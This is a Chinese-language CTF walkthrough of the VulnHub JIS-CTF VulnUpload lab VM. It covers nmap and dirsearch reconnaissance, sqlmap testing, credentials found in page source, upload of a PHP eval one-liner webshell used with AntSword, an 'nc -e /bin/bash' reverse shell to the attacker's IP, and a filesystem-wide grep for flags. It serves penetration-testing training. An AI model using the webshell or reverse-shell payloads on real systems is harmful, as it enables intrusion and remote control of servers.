JIS-CTF: VulnUpload靶场渗透

JIS-CTF: VulnUpload来自

 <https://www.vulnhub.com/entry/jis-ctf-vulnupload,228/>

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

靶机IP地址192.168.23.162,攻击机IP地址192.168.23.140

3,扫描靶机端口服务

nmap -sS -sV -n -T4 -p- -A192.168.23.162

端口和服务:

  • 22/tcp:SSH服务(OpenSSH 7.2p2,运行在Ubuntu 4ubuntu2.1版本上)。
  • 80/tcp:HTTP服务(Apache 2.4.18,运行在Ubuntu上)。

SSH 主机密钥:

  • RSA:2048 af:b9:68:38:77:7c:40:f6:bf:98:09:ff:d9:5f:73:ec
  • ECDSA:256 b9:df:60:1e:6d:6f:d7:f6:24:fd:ae:f8:e3:cf:16:ac
  • ED25519:256 78:5a:95:bb:d5:bf:ad:cf:b2:f5:0f:c0:0c:af:f7:76

HTTP 信息:

  • 网页标题:Sign-Up/Login Form(注册/登录表单)
  • 请求的资源:login.php
  • 服务器标头:Apache/2.4.18 (Ubuntu)
  • robots.txt 文件中禁止访问的目录:
    • /、/backup、/admin、/admin_area、/r00t、/uploads、/uploaded_files、/flag 等

设备和操作系统信息:

  • MAC 地址:00:0C:29:71:5F:82(表示此设备是虚拟机,使用 VMware)。
  • 设备类型:一般用途设备。
  • 操作系统:运行 Linux 3.x 或 4.x 版本。
  • 操作系统细节:Linux 内核版本范围为 3.2 到 4.9。
  • 网络距离:距离扫描主机 1 跳。

4,访问80端口开放的HTTP服务

初始就是一个登录页面

5,爆破扫描出其存在的子目录页面

dirsearch -u http://192.168.23.162 -x 404,403

存在robots.txt查看一下

/backup 什么都没有
/admin 什么都没有
/admin_area

/r00t 什么都没有
/uploads 什么都没有
/uploaded_files 一片空白

/flag

信息收集得到第一个flag,The 1st flag is : {8734509128730458630012095}

http://192.168.23.162/js/index.js

1. 表单标签的动态效果:

通过绑定 keyup, blur, 和 focus 事件,动态地改变表单元素前面标签(label)的样式,以实现标签的浮动效果,增强用户交互体验。

  • keyup 事件:每当用户输入时触发。
    • 如果输入框(input 或 textarea)的值为空,标签移除 active 和 highlight 类,表示标签回到默认位置。
    • 如果输入框有值,标签添加 active 和 highlight 类,标签上浮。
  • blur 事件:当输入框失去焦点时触发。
    • 如果输入框的值为空,标签移除 active 和 highlight 类,标签恢复原位。
    • 如果输入框有值,标签只移除 highlight 类(但保留 active 类),标签保持浮动状态。
  • focus 事件:当输入框获得焦点时触发。
    • 如果输入框为空,标签移除 highlight 类。
    • 如果输入框有值,标签添加 highlight 类,标签会有高亮效果。

2. 标签切换效果:

通过 click 事件绑定在 .tab a 元素上,实现标签的切换效果。具体步骤如下:

  • click 事件:当用户点击标签时触发。
    • 阻止默认的跳转行为(e.preventDefault()),因为标签是通过显示和隐藏内容来切换的,不需要进行页面跳转。
    • 当前点击的标签的父元素(<li>)被添加 active 类,同时去除兄弟元素的 active 类,实现当前标签的高亮。
    • 根据点击的标签的 href 属性(即对应的目标区域 div),找到目标内容区并显示。
    • 使用 fadeIn(600) 使目标内容区淡入,显示出来,同时隐藏其他非目标内容区。

总结:

  • 表单动态标签效果:输入框获得或失去焦点时,标签会根据输入框的内容浮动或回到原位,以提高用户体验。
  • 标签切换效果:通过点击标签(如 Tab 切换),用户可以在多个内容区之间切换,显示对应的内容区域,使用淡入效果使界面更平滑。

http://192.168.23.162/assets/ 更像是一个目录

6,再对登录页面的指纹信息进行扫描,看看是否存在因为版本过低而产生的漏洞

jQuery 是一个快速、简洁的 JavaScript 库,旨在简化 HTML 文档遍历、事件处理、动画效果以及 Ajax 与服务器端的交互。它通过提供简洁的 API,使得开发者能够更轻松地操作 DOM(文档对象模型)、处理事件、动画和与服务器的交互。

没有明显的公开漏洞利用exp

7,再sqlmap自动化测试有无sql注入漏洞,首先burp suite抓一个标准的的登录请求包

没有token也没有cookie,这个登录界面是比较简陋的。将请求信息写入sql.txt,然后开始自动化测试

sqlmap -r sql.txt  --level 5 --risk 3 --batch

sql注入失败

8,在进一步信息收集过程,查看view-source:http://192.168.23.162/admin_area/页面源代码,得到疑似账户密码的重要信息

username : admin
password : 3v1l_H@ck3r
信息收集得到第二个flag The 2nd flag is : {7412574125871236547895214}

尝试登录

登录成功,提供了一个用于上传文件的功能页面

9,编写一句话木马尝试上传

<?php @eval($_POST['shell']);?>

上传成功,只是需要找到文件上传位置的绝对路径。根据信息收集的结果,推测是存在于http://192.168.23.162/uploaded_files/shell.php。一句话木马配合webshell工具蚁剑使用,获得网站控制权

10,下一步就是反弹shell,使kali攻击机能够获取服务器的shell

nc -e /bin/bash 192.168.23.140 4444

nc-e 被禁用了,需要更换反弹shell的命令,姑且先进行信息收集,看能不能找到线索

服务器路径/var/www/html/flag.txt是空的,没有内容。/var/www/html/hint.txt文件藏在第三个flag

并且给予了新的提示,尝试找到用户 technawi 的密码,以便读取 flag.txt 文件,它可以在一个隐藏的文件中找到

11,然后就需要漫长的找flag.txt,其中应该包含了technawi用户的密码

 grep -sr '4th flag' /

成功找到flag4,路径/etc/mysql/conf.d/credentials.txt

username : technawi

password : 3vilH@ksor

12,在nmap扫描的时候看到存在22端口ssh服务,尝试一下登录

13,信息收集一下,当前用户权限还是比较低的

最后得到第五个flag cat /var/www/html/flag.txt

14 ,最后稀里糊涂的提权成功了

一共五个flag,主要是信息收集,文件上传,蚁剑的使用。没有什么做题价值

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/489841.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux(网络协议和管理)

后面也会持续更新&#xff0c;学到新东西会在其中补充。 建议按顺序食用&#xff0c;欢迎批评或者交流&#xff01; 缺什么东西欢迎评论&#xff01;我都会及时修改的&#xff01; 在这里真的很感谢这位老师的教学视频让迷茫的我找到了很好的学习视频 王晓春老师的个人空间…

【Flask+OpenAI】利用Flask+OpenAI Key实现GPT4-智能AI对话接口demo - 从0到1手把手全教程(附源码)

文章目录 前言环境准备安装必要的库 生成OpenAI API代码实现详解导入必要的模块创建Flask应用实例配置OpenAI API完整代码如下&#xff08;demo源码&#xff09;代码解析 利用Postman调用接口 了解更多AI内容结尾 前言 Flask作为一个轻量级的Python Web框架&#xff0c;凭借其…

挚达科技亏损暴增无底洞:毛利率下滑,产品销量增长但单价下降

《港湾商业观察》廖紫雯 日前&#xff0c;上海挚达科技发展股份有限公司&#xff08;以下简称&#xff1a;挚达科技&#xff09;再次递表港交所&#xff0c;最新财务数据显示&#xff0c;2024年前九个月&#xff0c;公司营收较上年同期出现下滑&#xff0c;且往绩期间&#xf…

每天五分钟深度学习pytorch:基于LeNet算法模型完成手写字体识别

本文重点 LeNet是我们要介绍的第一个经典的卷积神经网络模型,它是一种用于手写体字符识别的非常高效的卷积神经网络。它是卷积神经网络的祖师爷LeCun在1998年提出,它将CNN的最基本的架构就定下来了:卷积层、池化层、全连接层。 它的算法模型的效果图为: 本文我们讲解基于…

全栈开发:后台管理系统时代的技术破局之道

在当前的互联网发展阶段&#xff0c;许多二三线城市的互联网项目正在经历一个显著的转变。传统的To C项目逐渐减少&#xff0c;取而代之的是大量的企业级后台管理系统。在这样的背景下&#xff0c;全栈开发——特别是前端加Java的组合&#xff0c;正在成为一个备受关注的发展方…

AI Agent:重塑业务流程自动化的未来力量(2/30)

《AI Agent&#xff1a;重塑业务流程自动化的未来力量》 摘要&#xff1a;整体思路是先介绍 AI Agent 的基本情况&#xff0c;再深入阐述其实现业务流程自动化的方法和在不同领域的应用&#xff0c;接着分析其价值和面临的挑战&#xff0c;最后得出结论&#xff0c;为读者全面…

网页端web内容批注插件:

感觉平时每天基本上90%左右的时间都在浏览器端度过&#xff0c;按理说很多资料都应该在web端输入并且输出&#xff0c;但是却有很多时间浪费到了各种桌面app中&#xff0c;比如说什么notion、语雀以及各种笔记软件中&#xff0c;以及导入到ipad的gn中&#xff0c;这些其实都是浪…

vue2实现多段打字机效果

实现效果 多段打字&#xff0c;每段之间延迟一点时间&#xff0c;末尾有光标 页面结构 所有的“打字”的效果都在typedText里面展现&#xff0c;打印完了就把这一段加入displayedParagraphs中&#xff0c;同时清空typedText。 displayedParagraphs就是正常v-for渲染 数据结…

力扣打卡14:多数元素

链接&#xff1a;169. 多数元素 - 力扣&#xff08;LeetCode&#xff09; 这道题正常很简单&#xff0c;但是如果想要完成进阶做法有点困难。我使用了O(n/2)左右的空间&#xff0c;使用了哈希映映射。 看了题解&#xff0c;有一种解法叫摩尔投票&#xff0c;可以解决这种问题…

SQL server学习03-创建和管理数据表

目录 一&#xff0c;SQL server的数据类型 1&#xff0c;基本数据类型 2&#xff0c;自定义数据类型 二&#xff0c;使用T-SQL创建表 1&#xff0c;数据完整性的分类 2&#xff0c;约束的类型 3&#xff0c;创建表时创建约束 4&#xff0c;任务 5&#xff0c;由任务编写…

【网络攻击与防范】常见服务的配置方法

一、DHCP 服务的安装与配置 1、安装 2、验证安装 3、启动、停止和重新启动 4、配置作用域 Scope 检验配置&#xff1a;netsh 5、DHCP服务器选项 6、利用 kali 客户端来进行验证 将 kali 的网卡也设置在 VMnet2 中&#xff1a; 二、DNS服务的安装与配置 1、安装 2、验证安装 …

移动端h5自适应rem适配最佳方案

网页开发中&#xff0c;我们常用的单位有如下几个&#xff1a; px&#xff1a;像素固定&#xff0c;无法适配各分辨率的移动设备em: 该单位受父容器影响&#xff0c;大小为父元素的倍数rem: 因为html根元素大小为16px&#xff0c;所以默认 1rem 16px&#xff0c;rem只受根元素…

ubuntu20.04复现 Leg-KILO

这里写目录标题 opencv版本问题下载3.2.0源代码进入解压后的目录创建构建目录运行 CMake 配置 配置时指定一个独立的安装目录&#xff0c;例如 /opt/opencv-3.2&#xff1a;出错&#xff1a; 使用多线程编译错误1&#xff1a; stdlib.h: 没有那个文件或目录错误2&#xff1a;er…

Python爬虫之Selenium的应用

【1】Selenium基础介绍 1.什么是selenium&#xff1f; &#xff08;1&#xff09;Selenium是一个用于Web应用程序测试的工具。 &#xff08;2&#xff09;Selenium 测试直接运行在浏览器中&#xff0c;就像真正的用户在操作一样。 &#xff08;3&#xff09;支持通过各种driv…

回归预测 | MATLAB实现BiGRU(双向门控循环单元)多输入单输出

回归预测 | MATLAB实现BiGRU(双向门控循环单元)多输入单输出 文章目录 回归预测 | MATLAB实现BiGRU(双向门控循环单元)多输入单输出预测效果基本介绍程序设计参考资料致谢预测效果 基本介绍 BiGRU(双向门控循环单元)多输入单输出模型是一种结合了双向门控循环单元(BiGRU)的…

React的状态管理库-Redux

核心思想&#xff1a;单一数据源、状态是只读的、以及使用纯函数更新状态。 组成部分 Store&#xff08;存储&#xff09; 应用的唯一状态容器&#xff0c;存储整个应用的状态树,使用 createStore() 创建。 getState()&#xff1a;获取当前状态。dispatch(action)&#xff…

.NET平台使用C#设置Excel单元格数值格式

设置Excel单元格的数字格式是创建、修改和格式化Excel文档的关键步骤之一&#xff0c;它不仅确保了数据的正确表示&#xff0c;还能够增强数据的可读性和专业性。正确的数字格式可以帮助用户更直观地理解数值的意义&#xff0c;减少误解&#xff0c;并且对于自动化报告生成、财…

【Maven】生命周期和插件详解

Maven生命周期 Maven 将项目的生命周期抽象成了 3 套生命周期&#xff0c;每套生命周期又包含多个阶段&#xff08;phase&#xff09;。每套中具体包含哪些阶段是 Maven 已经约定好的&#xff0c;但是每个阶段具体需要做什么&#xff0c;是用户可以自己指定的。 Maven 中定义…

数据保护策略:如何保障重要信息的安全

一、什么是数据安全&#xff1f; 数据安全是保护数字信息免遭盗窃、未经授权的访问和恶意修改的过程。这是一个持续的过程&#xff0c;负责监督信息的收集、存储和传输。 机密性&#xff1a;保护数据免遭未授权方访问。 完整性&#xff1a;保护数据免遭未经授权的修改、损坏…

Linux:进程(环境变量、程序地址空间)

目录 冯诺依曼体系结构 操作系统 设计操作系统的目的 操作系统的管理 进程 PCB fork 进程状态 进程状态查看 僵尸进程 孤儿进程 进程优先级 查看、修改进程优先级命令 竞争、独立、并行、并发 进程切换 活动队列和运行队列 活动队列 过期队列 active指针…